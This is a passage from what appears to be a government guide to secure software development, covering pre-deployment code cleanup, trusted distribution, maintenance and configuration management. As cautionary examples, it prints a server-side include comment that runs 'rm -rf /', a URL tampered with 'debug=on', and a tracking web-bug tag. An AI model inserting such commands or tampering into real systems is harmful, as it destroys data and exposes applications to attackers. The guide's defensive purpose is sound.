- **Software penetration test tools:** *Examples:* Red Team Workbench/Red Team Intercept (Fortify), SPI Toolkit (SPI Dynamics), SOAtest (ParaSoft)

- **Reverse engineering tools,** such as binary code disassemblers and decompilers. *Examples:* FxCop (within Microsoft Visual Studio 2005 Enterprise Edition), Logiscan and Bugscan (LogicLibrary)

- **Other relevant testing tools,** such as fuzzers, brute force testers, buffer overrun detectors, and input validation checkers. *Examples:* Codenomicon (Codenomicon), FileFuzz (iDefense), SPIFuzzer (SPI Dynamics), Peach Fuzzer Framework (Michael Eddington/IOactive open source), Antiparser (D. McKinney open source), BOON (David Wagner open source), BFB Tester (Linspire open source), Stinger (Aspect Security open source).

The NIST Software Assurance Metrics and Tool Evaluation (SAMATE) program, funded by DHS, is chartered to evaluate a wide range of software security testing tools, measuring the effectiveness of those tools, and identifying gaps in tools and methods. Products of SAMATE will include:
• Taxonomy of software defects and vulnerabilities;
• Taxonomy and survey of software assurance tools, including tool functional specifications;
• Reference dataset, metrics, and measurements for use in the evaluation of software assurance tools;
• Detailed functional tests for tool evaluation;
• Identification of tool functional gaps and research requirements.

These and other products of the SAMATE program will be posted to the SAMATE website (see Appendix B).

5.5. Preparing the Software for Distribution and Deployment

All software artifacts and initial production data should be “cleaned up” as necessary to remove any residual debugging “hooks”, developer “backdoors”, sensitive comments in code, overly informative error messages, etc. that may have been overlooked during the implementation phase (note that as secure development practices become more deeply ingrained, such items will not be introduced into the code in the first place), and to change any default configuration settings, etc., not already addressed prior to whole-system testing. All software should be distributed in a default configuration that is as secure as possible, along with a set of secure configuration instructions that explain the risk associated with a change to each secure default when the software is deployed.

The installation configuration for the software should be different from the development environment parameters, in order to prevent developers from having visibility into the details of the deployed software in its operational environment.

Before delivering the software to the deployment team or acceptance test team, the developer should undertake the activities described below in order to ensure the software is as secure as possible in preparation for distribution/shipment and installation/deployment.

5.5.1. Removing Debugger Hooks and Other Developer Backdoors

Before deploying the software operationally, the developer should remove from the code all developer backdoors and debug commands, and change all default settings for all components (source or binary).

Debug commands come in two distinct forms: explicit and implicit. The developer must learn to recognize both types of debug commands and to remove them from all source code, whether from-scratch or open source, before the binary is compiled.

For acquired or reused binary components, as part of the component’s security evaluation, the integrator may wish to ask the supplier whether such a scan was performed on the component’s source code before it was compiled and distributed as a binary executable.

5.5.1.1. Explicit Debugger Commands

All code should be checked before the software is installed to ensure that it does not contain commands designed to force the software into debug mode.

Web applications should also be implemented to validate the content of name-value pairs within the Uniform Resource Locator (URL) or Uniform Resource Identifier (URI) submitted by the user, as such URLs/URIs sometimes include embedded commands such as debug=on or Debug=YES. For example, consider the following URI:

An attacker may intercept and alter this URI as follows:

http://www.creditunion.gov/account_check?debug=on&ID=8327dsddi8qjgql1kjd1as&Disp=no

with the result that the inserted “debug=on” command would force the application into debug mode, enabling the attacker to observe its behavior more closely, in order to discover exploitable defects or other vulnerabilities.

Debug constructs can also be planted within the HTML, XHTML, or Common Gateway Interface (CGI) scripting code of a web form returned from a client to a server. To do this, the attacker merely adds another line element to the form’s schema to accommodate the debug construct, then inserts that construct into the form. This would have the same as the URL/URI attack above.

### 5.5.1.2. Implicit Debugger Commands

Implicit debugger commands are seemingly innocuous elements placed by the developer into from-scratch source code, to make it easier to alter the software state so as to reduce the amount of testing time. These commands are often left in the application’s comment lines.

If the source code containing the implicit debugger commands is user-viewable, such as that of web pages in HTML/XHTML, JSP, or ASP, as well as CGI scripts, such embedded commands can be easily altered by an attacker with devastating results. When using JSP or ASP, these comments may be available to users and may provide an attacker with valuable information.

For example, consider an HTML page in which the developer has included an element called “mycheck”. The name is supposed to obscure the purpose of this implicit debugger command:

```html
<!-- begins -->
<TABLE BORDER=0 ALIGN=CENTER CELLPADDING=1 CELLSPACING=0>
<!-- Question 1 -->
<TR><TD align=left colspan=2><INPUT TYPE=HIDDEN NAME="Question" VALUE="1">
<SPAN class="Story">
```

Attackers are usually wise to such obfuscation attempts (which constitute “security through obscurity”; please note that security through obscurity is inadequate to hinder any but the most casual novice attackers).

The developer should do a text search through all user-viewable source code to locate and remove any implicit debug elements before installing the code.
5.5.2. Removing Hard-Coded Credentials

Basic authentication should never be used in web applications, even over SSL/TLS-encrypted connections. Not using basic authentication should alleviate any need for hard-coded credentials in HTML or XHTML pages. Regardless of the reason the credentials may have been hard-coded during development, for obvious reasons, they must be sought out and removed from all user-viewable source code before the application is installed.

5.5.3. Removing Sensitive Comments from User-Viewable Code

Comments left in user-viewable source code should never reveal sensitive or potentially exploitable information, such as information about the file system directory structure, the software’s configuration and version, or any type of security-relevant information. Of particular concern are comments within source code that can be viewed by attackers using a web browser.

The following types of information should never be included in user-viewable source code comments:

- Paths to directories that are not explicitly intended to be accessed by users;
- Location of root;
- Debugging information (see also Section 5.5.1);
- Cookie structures (see also Section 5.5.6);
- Problems associated with the software’s development;
- Developers’ names, email addresses, phone numbers, etc.;
- Release and version numbers of commercial and open source components;
- Hard-coded credentials (see also Section 5.5.2);
- Any other information that could be exploited by an attacker in order to successfully target the software, its data, or its environment.

Comments are included in user-viewable source files in one of the following ways:

- **Structured comments:** Included regularly by members of large development teams at the top of the viewable source code page, or between a section of scripting language and a subsequent section of markup language, to inform other developers of the purpose or function implemented by the code.

- **Automated comments:** Automatically added to viewable source pages by many commercial web generation programs and web usage programs, such comments reveal precise information about the version/release of the package used to auto-generate the source code—information that can be exploited by attackers to target known vulnerabilities in web code generated by those packages. (Note that httpd restricts what can be included in a filename, unless the web server has exec disabled.)

- **Unstructured comments:** Informal comments inserted by developers as memory aids, such as “The following hidden field must be set to 1 or XYZ.asp breaks” or “Don’t change the order of these table fields”. Such comments represent a treasure trove of information to the reconnaissance attacker.

The following HTML comments represent security violations:

```html
<!--#exec cmd="rm -rf /"-->
<!--#include file="secretfile"-->
```
A simple filter can be used to strip out all comments from user-viewable source code before the code is installed. In the case of automatically-generated comments, an active filter may be required to remove comments on an ongoing basis, as the code is likely to be maintained using the same package that originally generated the code, and so is likely to include more undesirable comments in regenerated versions of the code.

### 5.5.4. Removing Unused Calls

A code walk-through should be performed in which all calls that do not actually accomplish anything during application execution are identified and removed from the source code. Examples of such calls are those that invoke environment processes or library routines/functions that are no longer present, or that have been replaced.

### 5.5.5. Remove Pathnames to Unreferenced, Hidden, and Unused Files from User-Viewable Source Code

If the software includes user-viewable source code, all pathname/URI references that point to unused and hidden files need to be removed from user-viewable source code, so as to prevent enumeration attacks in which the attacker searches for files or programs that may be exploitable or otherwise useful in constructing an attack.

### 5.5.6. Removing Data-Collecting Trapdoors

Federal government policy, as set out in Office of Management and Budget (OMB) Director Jacob J. Lew’s Memorandum for the Heads of Executive Departments and Agencies (M-00-13, 22 June 2000), states that cookies must not be used on federal government web sites, nor by contractors operating web sites on behalf of federal agencies, unless certain conditions are met:

1. There is a compelling need to gather the data on the site;
2. Appropriate, publicly disclosed privacy safeguards have been implemented to handle information extracted from cookies;
3. The head of the agency owning the web site has personally approved use of data collecting cookies.

This policy was particularized for U.S. DoD in the Office of the Secretary of Defense (OSD) memorandum, dated 13 July 2000, “Privacy Polices and Data Collection on DoD Public Web Sites” (13 July 2000).

In addition to removing any non-policy-compliant cookies that may have inadvertently been left in the application, the application code should be carefully vetted before deployment to ensure that it does not contain any other kinds of “web bugs”, spyware, or trapdoor programs (particularly no malicious trapdoors) the intent of which is either to collect or tamper with privacy data, or to open a back-channel over which an attacker could collect or tamper with such data.

**NOTE:** A Web bug is a graphic on a Web page or in an email message that is designed to monitor who is reading the Web page or email message. Web bugs are often invisible because they are typically only one pixel-by-one pixel (1x1) in size. They are represented as HTML `<IMG>` tags. Here is an example:

```html
<img src="http://ad.doubleclick.net/ad/pixel.whoreads/NEW" width=1 height=1 border=0><IMG WIDTH=1 HEIGHT=1 border=0 SRC="http://user.preferences.gov/ping?ML_SD=WebsiteTE_Website_1x1_RunOfSite_A ny&db_afcr=4B31-C2FB-10E2C&event=reghome&group=register&time=2002.10.27.20.5 6.37">
```

All `<IMG>` tags in HTML/XHTML code should be checked to ensure that they don’t implement web bugs.
5.5.7. Reconfiguring Default Accounts and Groups

A lot of commercial software is preconfigured with one or more default user (and sometimes group) accounts, such as “administrator”, “test”, “guest”, and “nobody”. Many of these accounts have widely-known default passwords, making them subject to password guessing attacks. Passwords should be changed on all default accounts. All unused accounts should be deleted immediately upon installation of the commercial software. The hardening procedure appropriate to the commercial software and its environment should be performed. Web and database application vulnerability scanners should be run, if possible, to detect any commonly used default passwords that may have been overlooked. If at all possible without “breaking” its operation, a web server’s “nobody” account should be renamed to something less obvious.

5.5.8. Replacing Relative Pathnames

If the software calls a library or another component, that call should be explicit and specific. The software should not be written to call a relative pathname or to rely on a search path. Doing so will make network-based software vulnerable to cross-site scripting and similar malicious code attacks. For the same reason, whenever possible, full pathnames should be used for URL/URIs and other file paths that will be referenced by users. These pathnames should not simply point to “current directory”. Instead, the full directory path should be included in the pathname.

Use of relative pathnames can also make an application vulnerable to directory traversal attacks. Because the current directory is always searched first, a malicious program or library routine hidden in that directory may be triggered when, in fact, the user thought he was accessing a different directory where a trusted program was expected to reside. As search rules for dynamic link libraries (DLLs) and other library routines become more complex, vulnerabilities will be more easily introduced into system routines that can parse filenames that contain embedded spaces.

5.5.9. Defining Secure Installation Configuration Parameters and Procedures for the Software and Its Execution Environment

Even if software itself has been made secure for distribution, it may still be vulnerable to malicious attacks if installed in an execution environment that is insecure. The documentation delivered with the software should provide adequate information to guide the administrator in configuring the environment controls and protections that the software has been designed to rely upon.

Faulty configuration is the source of some significant application security problems. When applications are installed, it is important to make the initial installation configuration secure and make the software easy to reconfigure while keeping it secure. During software distribution, write access to the software and its data in configuration management system should be denied to all programmers and end users in order to ensure the integrity of the software when it is installed.

The software should be delivered with a set of installation and configuration routines, procedures, and tools that will help ensure that the transfer of software and data from the development environment into the production environment is secure. These procedures should include installation test procedures to double check that the installation and configuration procedures were followed accurately.

In some organizations, secure configuration guides and scripts are produced, or existing third-party guides are mandated, by an operational security team, rather than by the software’s developer. In such organizations, it is the developer’s responsibility to ensure that the software as designed and implemented does not presume the availability or require the presence of any environment-level services or interfaces that are not supported in the mandated environment configuration guidelines.
In both cases, the developer is still responsible for providing the software’s unique configuration requirements to whatever team is responsible for “locking down” the execution environment. If environment configuration guides are mandated by a security team, the developer-produced guidelines should identify any additional environment constraints that the software expects in order to establish and sustain secure operation. In addition, the software’s configuration requirements should document any circumstances in which the violation of a mandated configuration parameter is truly unavoidable, for example when the software truly could not be implemented in a way that would enable it to run correctly with a particular environment service or interface disabled.

The installation and configuration procedures for the application should include the following instructions for the installer/administrator:

1. **Configure restrictive file system access controls for initialization files:** Many applications read an initialization file to allow their defaults to be configured. To ensure that an attacker cannot change which initialization file is used, nor create or modify the initialization file, the file should be stored in a directory other than the current directory. Also, user defaults should be loaded from a hidden file or directory in the user’s home directory. If the software runs on Unix or Linux and is setuid/setgid, it should be configured not to read any file controlled by a user without first carefully filtering that file as untrusted input. Trusted configuration values should be loaded from a different directory (e.g., from `/etc` in Unix).

2. **Validate all security assumptions:** When installing, the administrator should be guided in verifying that all security assumptions made by the software are valid. For example, the administrator should check that the application’s code plus that of all library routines used by the software are adequately protected by the access controls of the execution environment (operating system) in which the software is being installed. Also, the administrator should verify that the software is being installed on the anticipated execution environment before making any assumptions about environment security mechanisms and posture.

3. **Configure restrictive access controls on target directories:** The administrator should configure the most restrictive access control policy possible when installing the software, only adjusting those restrictions as necessary when the software goes into production. Sample “working users” and access rights for “all configurations” should never be included the software’s default configuration.

4. **Remove all unused and unreferenced files from the file system:** The administrator should remove all unnecessary (unused or unreferenced) files from the software’s execution environment, including:

   - Commercial and open source executables known to contain exploitable defects;
   - Hidden or unreferenced files and programs (e.g., demo programs, sample code, installation files) often left on a server at deployment time;
   - Temporary files and backup files stored on the same server as the files they duplicate;
   - DLLs, extensions, and any other type of executable that is not explicitly allowed.

   **NOTE:** If the host operating system is Unix or Linux, the administrator can use a recursive file grep to discover all extensions that are not explicitly allowed.

### 5.5.10. Trusted Distribution

While trusted distribution as defined in *A Guide to Understanding Trusted Distribution in Trusted Systems* (NCSC-TG-008, a.k.a. the “Dark Lavender Book”; see Appendix B) will not be required for most software, several of the principles and practices of trusted distribution are widely applicable to ensure the integrity of software distributions by reducing the number of opportunities for malicious or nefarious actors to gain access to and tamper with the software after it has shipped.
Many features of trusted distribution have, in fact, become standard mechanisms for protecting commercial software from tampering while in transit from supplier to consumer, including tamperproof or tamper-resistant packaging and read-only media, secure and verifiable distribution channels (e.g., HTTPS downloads, registered mail deliveries), and digital integrity mechanisms (such as hashes and code signatures).

The following best practices will help preserve the integrity of the software, including the installation routines and tools shipped with it:

- **Strong authentication for installation and configuration routines, tools, and interfaces**: Neither the software itself, nor its installation routines, should be installable under a default password. Instead, each software distribution should be assigned a unique strong password. This password should be sent to the purchaser via a different distribution path and mechanism, and at a different time, than that used to distribute the software, e.g., in an encrypted email or in a document mailed via the postal service. It should not be shipped with the software itself.

- **Strong default access controls on installed programs**: The default privileges assigned to the software’s executable files should be execute-only for any role other than “administrator”.

- **Clear, secure application configuration interfaces**: The sample configuration file, if there is one, should contain sufficient, clear comments to help the administrator understand exactly what the configuration does. If there is a configuration interface to the software, the default access rights to this interface should disallow access to any role other than “administrator”.

### 5.6. Secure in Deployment

Most of what the developer will be concerned with is establishing security in the software throughout its development. However, there are development activities related to the maintenance of the software—activities that occur after the first version of the software has been deployed (installed) in its operational environment (i.e., gone into production).

#### 5.6.1. Support by Suppliers of Acquired or Reused Software

Before acquiring and using a COTS or GOTS component or whole system, the consumer should ensure that the supplier (commercial or contractor) will commit to provide ongoing security support services, including a feedback mechanism for easy consumer reporting of observed security issues, and a security advisory service for supplier reporting to the customer of other discovered security issues, with information about the standard time-frame and process to be used to address consumer-reported security issues. When a security issue in commercial software originates from a software defect, misconfiguration, or insecure default setting, the associated security advisory should assign a widely-recognized (and ideally machine-readable) designation to that reported security issue (e.g., a CVE number or Application Vulnerability Definition Language [AVDL] designation). The supplier should also maintain a publicly available data store containing descriptions of the common types of software defects that the suppliers’ development methods and tools have reduced or eliminated from each of the supplier’s software products.

#### 5.6.2. Maintenance

After the software has been accepted and is operational, it will need to be modified, at a minimum to apply supplier-provided security patches to commercial and open source software packages, or to swap in the latest releases of that software. In all likelihood, changes will also be made to in response to new or altered user requirements, policies, technologies and standards, threats, or discovered vulnerabilities or defects/bugs. Web-based applications and web services are particularly dynamic. Content is continually being altered, new features are added, orchestrations and choreographies of services are redefined—in some instances on a continual basis.
Each time an application is changed, a risk is imposed that the application will no longer be secure (or at least no longer at the accepted risk level). Even the simplest of changes could introduce a defect that could be exploited to compromise the security of the application, its data, or its execution environment. Even if the application is “frozen”, vulnerabilities are likely to emerge over time even in the most secure environments, vulnerabilities that are inadvertently introduced by changes in the application’s surrounding infrastructure or execution environment, or in other applications or services with which it interacts.

Any changes to individual components, a component sub-assembly, or to the whole assembly of the application must not be made in an ad hoc fashion. The requirements driving the change should be captured in a revision of the baseline requirements specification. The changes themselves should be captured in a revision of the design documentation, which should then go through the a security design review. The changed software should undergo security testing to demonstrate that the application has not been made vulnerable by the change. These reviews and tests may focus more on the differences in functionality and behavior between the previous and current versions, and any changes in the security of interfaces between the changed and unchanged aspects of the application/assembly.

Before the modified application goes into production, a security risk analysis should be performed to ensure that the new version does not introduce an unacceptable level of risk; the risk analyst should refer to the baseline risk analysis done when the system was first accepted/approved to operate.

While the waterfall lifecycle model specifies only one maintenance phase, the spiral model and other iterative models provide several distinct phases for maintenance; some of these models treat maintenance changes to the application as an entirely new development project. Regardless of which model is used, the same security considerations and practices should be applied to changes made to software that has gone into production.

### 5.6.2.1. Countermeasures to Software Aging

Software programs that are required to execute continuously are subject to software aging. Software ages due to error conditions, such as memory leaks, memory fragmentation, memory bloating, missed scheduling deadlines, broken pointers, poor register use, build-up of numerical round-off errors, and other error conductions that accumulate over time with continuous use. Software aging manifests by increasing the number of failures that result from deteriorating operating system resources, unreleased file locks, and data corruption. Software aging makes continuously-running software a good target for DoS attacks, because such software is known to become more fragile over time.

Software aging can occur in acquired or reused software, such as Web servers, database management systems, or PKI middleware, as well as in software developed from scratch. As the number of software components that are “always on” and connected to the publicly accessible networks (e.g., the Internet) increases, the possibility of DoS attacks targeted at likely-to-be-aging programs also increases. Attackers who are able to guess that a particular application is constantly online can exploit this knowledge to target the kinds of vulnerabilities that manifest as a result of software aging. Two techniques that have proven effective against the problem of software aging are described below.

#### 5.6.2.1.1. Software Rejuvenation

Software rejuvenation is a proactive approach that involves stopping executing software periodically, cleaning internal states, and then restarting the software. Rejuvenation may involve all or some of the following: garbage collection, memory defragmentation, flushing operating system kernel tables, and reinitializing internal data structures. Software rejuvenation does not remove bugs resulting from software aging but rather prevents them from escalating to the point where the software becomes significantly fragile and easily targeted. While rejuvenation incurs immediate overhead in terms of some services being temporarily unavailable, these brief “outages” can be scheduled and predicted, and can help prevent lengthy, unexpected failures caused by successful DoS attacks. The critical factor in making scheduled downtime preferable to unscheduled downtime is...
determining how often a software application must be rejuvenated. If unexpected DoS could lead to catastrophic
results, a more aggressive rejuvenation schedule might be justified in terms of cost and availability. If unexpected
DoS is equivalent to scheduled downtime in terms of cost and availability, then a reactive approach might be
more appropriate.

5.6.2.1.2. Software Reconfiguration

By contrast with proactive rejuvenation, the reactive approach to achieving DoS-resistant software is to
reconfigure the system after detecting a possible attack, with redundancy as the primary tool that makes this
possible and effective. In software, reconfiguration implements redundancy in three different ways:

1. Independently-written programs that perform the same task are executed in parallel, with the developers
comparing their outputs (this approach is known as \(n\)-version programming);
2. Repetitive execution of the same program while checking for consistent outputs and behaviors;
3. Use of data bits to “tag” errors in messages and outputs, enabling them to be easily detected and fixed.

The objective of software redundancy is to enable flexible, efficient recovery from DoS, independent of
knowledge about the cause or modus operandi of the DoS attack. While robust software can be built with enough
redundancy to handle almost any failure, the challenge is to achieve redundancy while minimizing cost and
complexity. More extensive discussion of redundancy appeared in Section 5.2.3.5.

In general, reconfiguring executing software for recovery from a failure in another part of the application should
only be performed if it can be accomplished without impacting users. However, there are cases when a high
priority component fails and requires resources for recovery. In this scenario, lower priority components’
execution should be delayed or terminated and their resources reassigned to aid this recovery, resulting in
intentional degradation.

5.7. Activities that Span the Lifecycle

The following sections provide guidance on security enhancing those activities that span multiple phases of the
software development lifecycle.

5.7.1. Secure Configuration Management (CM)

Diligent CM of the software development and testing artifacts is critical to ensure the trustworthiness of those
artifacts throughout the development lifecycle, and to eliminate opportunities for malicious developers to
sabotage the security of the software. By contrast, inaccurate or incomplete CM may enable malicious developers
to exploit the shortcomings in the CM process in order to make unauthorized or undocumented changes to the
software. Lack of proper software change control, for example, could allow rogue developers to insert or
substitute malicious code inserted, introduce exploitable vulnerabilities, or remove or modify security controls
implemented in the software.

By tracking and controlling all of the artifacts of the software development process, CM helps ensure that changes
made to those artifacts cannot compromise the trustworthiness of the software as it evolves through each phase of
the process. For example, the establishment of a configuration baseline has a significant security implication in
CM because it represents a set of critical observations and data about each development artifact, information that
can then be used in order to compare known “baseline” versions with later versions, to help identify any
unauthorized substitutions or modifications.

As described in NCSC-TG-006, A Guide to Understanding Configuration Management in Trusted Systems
(known as the “Amber Book”) and in Section B.2. of NIST SP-800-64, Security Considerations in the
Information System Development Life Cycle (see Appendix B), CM should establish mechanisms to help ensure software security, including:

- Increased accountability for the software by making its development activities more traceable;
- Impact analysis and control of changes to software and other development artifacts;
- Minimization of undesirable changes that may affect the security of the software.

Access control of software and associated artifacts are essential in providing reasonable assurance that the security of the software has not been intentionally compromised during the development process. Developers and testers should have to authenticate to the CM/version control system using strong credentials (e.g., public key infrastructure [PKI] certificates, one-time passwords) before being allowed to check out or check in an artifact.

Without such access controls, developers will be able to check in and check out the development artifacts haphazardly, including those that have already undergone review and/or testing. In such an environment, the insider threat becomes a real possibility: a malicious or nefarious developer could insert spurious requirements into or delete valid requirements from the requirements specification, introduce security defects into the design, inject malicious code into the source code, and modify test plans or results to remove evidence of such sabotages.

To further reduce the risk of such “insider threat” activities, the CM system should be one that can automatically create a digital signature and time stamp for each artifact upon check-in, so that any later unauthorized changes to the artifact can be easily detected.

Another effective countermeasure to the “insider threat” from developers is requiring that every configuration item be checked into the CM system as a “baseline” before it is reviewed or tested. In this way, as changes are made based on findings of the review/test, the new configuration item that results can easily be compared against the pre-review/pre-test baseline to determine whether those changes also included unintentional vulnerabilities or malicious elements. Two closely related principles that should be applied to CM are separation of roles and separation of duties. The development, testing, and production environments, and their corresponding personnel, should be assigned different, non-contiguous roles with separate access rights in the CM system. In practical terms, this means that developers will never have access to code that is in the testing or production phase of the lifecycle.

Figure 5-3 depicts a secure configuration change control process and how configuration items, and, in particular, the source code, binary executables, and documentation, are protected within the CM system throughout the software development lifecycle.
5.7.1.1. CM and Patch Management

CM of applications that include acquired or reused software presents a complex challenge. The schedules and frequency of new releases, updates, and security (and non-security) patches, and response times for technical support by acquired or reused software suppliers, are beyond the control of both the application’s developers and its configuration manager.

In the case of security patches, developers can never be sure when or even if the supplier of a particular software product will release a needed security patch for a reported vulnerability that might render a selected component otherwise unacceptable for use in the application.

Given five acquired or reused components, all on different release schedules, all with vulnerabilities reported at different times and patches released at different times, the ability to “freeze” the application at an acceptable baseline can confound even the most flexible development team. Developers may have to sacrifice the freedom to
adopt every new version of every acquired or reused component, and may in some cases have to replace
components for which security fixes are not forthcoming with more secure alternatives from other suppliers.

Announced security enhancements of acquired or reused software should be considered as early in the application
development lifecycle as possible so that risk management and C&A requirements can be addressed for any new
releases, versions, or updates that are expected to have impacts on the application’s security overall. It is
particularly important to determine whether the replacement of any software product that performs a trusted
function or security function, even the replacement is only a later version of the same product, will require a
recertification/reaccreditation of the whole application system.

On the other hand, if a particular component is not kept up to date according to the supplier’s release schedule, the
configuration manager and developer will both need to keep track of the minutiae of the supplier’s maintenance
and support agreement, in order to determine if there is a point at which the non-updated version of the software
will no longer be supported by that supplier. The risks associated with using unsupported software will then have
to be weighed against the risks of adopting a new version of the software, or replacing it with an alternative
product. The supplier’s willingness to support older versions for a fee may be something worth negotiating during
acquisition, as is supplier willingness to include modifications to counteract security vulnerabilities found during
assembly/integration vs. after deployment into the product’s standard code base.

To keep abreast with vendor patches, new releases, and upgrades and to be informed with the latest software
vulnerabilities and issues, the configuration manager should keep track of vulnerability reports issued by the US-
CERT, U.S. DoD’s Information Assurance Vulnerability Alert (IAVA) program, the CVE database, and other
reliable sources of software product vulnerability information. The configuration manager should download all
necessary patches indicated by those vulnerability reports, and work with the risk manager to determine the
impact of adopting those patches.

It is extremely critical to determine and understand how the security of the assembled/integrated application may
be affected by new behaviors or interfaces introduced in the updated software. This is particularly true because
suppliers often embed non-security-related features in their “security patches”, i.e., features that will later appear
in the next full release of the software. Unfortunately, these as-yet-undocumented features are seldom announced
when delivered with the patch. Detecting such features can present a significant challenge to developers who must
understand their potential impact on a component’s behavior when interfacing with other components.

In order to reduce the number and increase the accuracy of interim impact analyses of patches and updates, it may
make sense to “horde” several updates, new releases, and patches to several components for some fixed period, so
as to be able to analyze them all at once and in conjunction with each other. While this approach may increase risk
by postponing patching, it may also reduce risk by ensuring that as many updated components as possible can be
analyzed in tandem, in order to observe their actual behaviors and interfaces before adopting them, or determining
that they cannot be adopted due to unacceptable security impacts.

CM, of course, must include the tracking and control of all acquired or reused fixes, patches, updates, and new
releases. The configuration manager needs to create and follow a realistic schedule by which new versions of the
application incorporating the updated software can be impact-analyzed, integrated/assembled, tested,
recertified/re-accredited (if necessary), and in the case of production software, deployed.

The security patch management solution used during the pre-deployment phases of the development lifecycle (vs.
in the post-production phases) must be flexible enough to allow for such impact analyses to be performed prior to
integration/assembly of the patched acquired or reused software. If scripts are used to automate software
installations, the scriptwriter should be sure that the scripts does not overwrite security patches already installed
on the target systems. For systems running Microsoft software, the Baseline Security Analyzer available from
Microsoft (see Appendix B) should be run when developing installation scripts.
5.7.1.2. Using CM to Prevent Malicious Code Insertion by Developers

NOTE: Discussion of malicious code attacks on software in deployment appear in Appendix C, Section C.8.

Uncontrolled software development lifecycle activities are susceptible to malicious software developers, testers, or intruders surreptitiously inserting malicious code, or backdoors that can later be used to insert malicious code, into the application. For this reason, all source code, binary executables, and documentation should be kept under strict configuration management control.

Developers and testers should be required to authenticate themselves to a version control system using strong credentials, such as PKI certificates or strong passwords, before checking out or submitting source code, executables, or documentation. Use only configuration management/version control software that can apply a digital signature to all software and documentation files, so that the configuration manager, other developers, and testers can quickly detect any unauthorized changes.

Diligent configuration control of the software development and testing processes is critical to ensure the trustworthiness of code. The software development lifecycle offers multiple opportunities for malicious insiders to sabotage the integrity of the application source code, executables, and documentation.

A basic principle that should be applied is the one of separation of duties. Different environment types—development, testing, and production—and their corresponding personnel need to be kept separate, and the associated functionality and operations should not overlap. Developers should never have access to the software that is in production.

During testing, from-scratch code should be examined for exploitable defects such as buffer overflows and format string errors. Software developers should be given awareness training in how buffer overflows and other common vulnerabilities manifest in software, and how to avoid them. (See Section 6.3 for more information on developer security training.)

Malicious developers who purposely plant such defects have plausible deniability: they can always claim that the defects were simple errors. Work to prevent such problems by making sure that at least one other set of eyes besides the developer’s peer reviews all code before it moves on to testing, and use a “multilevel commit” approach to checking code and documents into the version control system.

The developer should make sure code and documentation is checked in to the version control system before it goes out for review/testing. This prevents a malicious developer from being able to surreptitiously insert changes into code (or documentation) before the approved version is checked in to the CM system. Instead, the approved version is the version already in the CM system, i.e., the same version the reviewers/testers examined. Ideally, every file would be digitally signed by the developer when submitted to the CM system to provide even stronger defense-in-depth against unauthorized changes.

Software testing even of code developed from scratch should include black box analysis to verify that the software does not manifest any unexpected behaviors in execution. The software quality assurance process should also include white box analysis (code review), focusing on hunting down any extra, and unexpected logic branches associated with user input, which could be a sign of a backdoor planted in the code during the development process.

All issues addressed and specific solutions to problems encountered during all phases of the lifecycle need to be properly documented. Security training among software developers and testers must be encouraged. Security background checks should be performed on all non-cleared software developers and testers.
5.7.2. Security Documentation

Proactive documentation of applications is imperative, especially for software systems that undergo C&A or certification against the CC. Security documentation should not be separate from the rest of the application documentation. The process of generating security documentation should be fully integrated into the overall development lifecycle, and the content of the resulting documents should be fully incorporated into the general application documentation. For example, there should not be a separate security requirements specification: security requirements should be included in the main system requirements specification. Similarly, the security user’s manual should not be a separate document: security procedures should be integrated throughout the general user’s manual for the application. The only exception may be the Trusted Facility Manual (TFM) that may be required for some applications, but not for others, and which should be separate from the general Operator’s and Administrator’s Manuals.

5.7.3. Software Security and Quality Assurance

In a secure software development process, quality assurance practitioners must always have security in mind. They must be very skeptical of the accuracy and thoroughness of any security-related requirements in the software’s specification. In short, they must be willing to adapt their requirements-driven mentality to introduce some risk-driven thinking into their verification processes. The quality assurance process, then, will necessarily incorporate some risk-management activities focusing on “secure in deployment” objectives:

- **Configuration management of patches (patch management):** Must extend to security patches, to ensure that they are applied in a timely manner (both to the commercial and open source software in the application itself and to its execution environment), and that interim risk analyses are performed to determine the impact the patch will have and to identify any conflicts that may be caused by applying the patch, particularly those impacts/conflicts with security implications, in order to mitigate those effects to the extent possible (which, in some cases, may mean not installing the patch because its impact/conflicts may put the software at greater risk than the vulnerability the patch is meant to address);

- **File system clean-ups:** All server file systems are reviewed frequently, and extraneous files are removed, in order to prevent avoidable future conflicts (due to patching or new application releases);

- **Security “refresh” testing:** The application’s continued correct and secure operation is verified any time any component or configuration parameter of its execution environment or infrastructure changes;

- **Security auditing:** The application’s security configuration is periodically audited, to ensure that the file permissions, user account privileges, configuration settings, logging and auditing, etc., continue to be correct and to achieve their security objectives, considering any changes in the threat environment.

In addition to these activities, quality assurance practitioners should periodically audit the correctness of the performance of these procedures.
6. OTHER INFLUENCES ON SOFTWARE SECURITY

In addition to lifecycle activities, there are several ancillary factors that can have a strong influence on the security of software. At the top of the list of these factors is implementing appropriate security constraints in the development environment, the nature of the development tools and how they are used, and the security education and training of developers.

6.1. Secure Development Environment

As the software moves from the development environment into the test environment, there may be some rude awakenings if the developers haven’t been careful to design and implement the software to run in the production environment, since the test environment is supposed to mirror, to the greatest extent possible, the production environment, including having a more rigorous security configuration, in terms of account management, permission assignments, access controls, disabling of unused and high-risk services, etc. Data that were read- and write-accessible in the development environment may no longer be accessible in the test environment because specific access rights were never assigned to them. Access Control Lists (ACLs) may be applied for the first time with unpredictable results. Run-time errors may unexpectedly occur. For a distributed application moving into the test environment, just identifying the root cause of problems originating from the application of restrictions can be a challenge. It will add to the time needed to debug and test the application.

Software should never be developed under root, administrator, or any other privileged account on the development platform. A development environment that is constrained by different access restrictions than the test environment (or by no access restrictions at all) is likely to result in software that has the ability to do anything, anytime. While lack of constraints in the environment makes it easier to implement and test functionality, it also prevents the developer from getting a true picture of the security impacts and implications of the design and implementation choices he has made.

The application should be developed under the same constraints, in terms of separation and isolation, accountability, etc., that will be in place in the production environment. The developer should be granted access only to his own files, in order to prevent him from inadvertently (or in the case of a malicious developer, intentionally) overwriting or deleting other developers’ work. It may make sense to use a virtual machine environment, such as VMWare, Microsoft Virtual PC, or University of Cambridge’s Xen for Linux, to more easily isolate different development activities, tools, and artifacts.

6.2. Selection and Use of Development Tools

Development tools should, to the greatest possible extent, force developers to follow secure software engineering practices. As a starting point, developers need to choose tools that enforce good software engineering practices, such as documentation before coding. Also useful are editors that highlight errors in the code as it is being written and require the developer to correct them (instead of waiting until the code is finished before debugging it).

Used with security in mind, the categories of tools described below should help achieve at least one of the following objectives:

- Reduce the presence or exposure of vulnerabilities in the software;
- Implement application security countermeasures for software in deployment;
- Constrain the extent of insecure software behaviors so they don’t affect other software, data, or environment components.

The tools discussed in this section are intended for use in or after the implementation phase. Tools to support earlier lifecycle phase activities were discussed at relevant points in Sections 4 and 5.
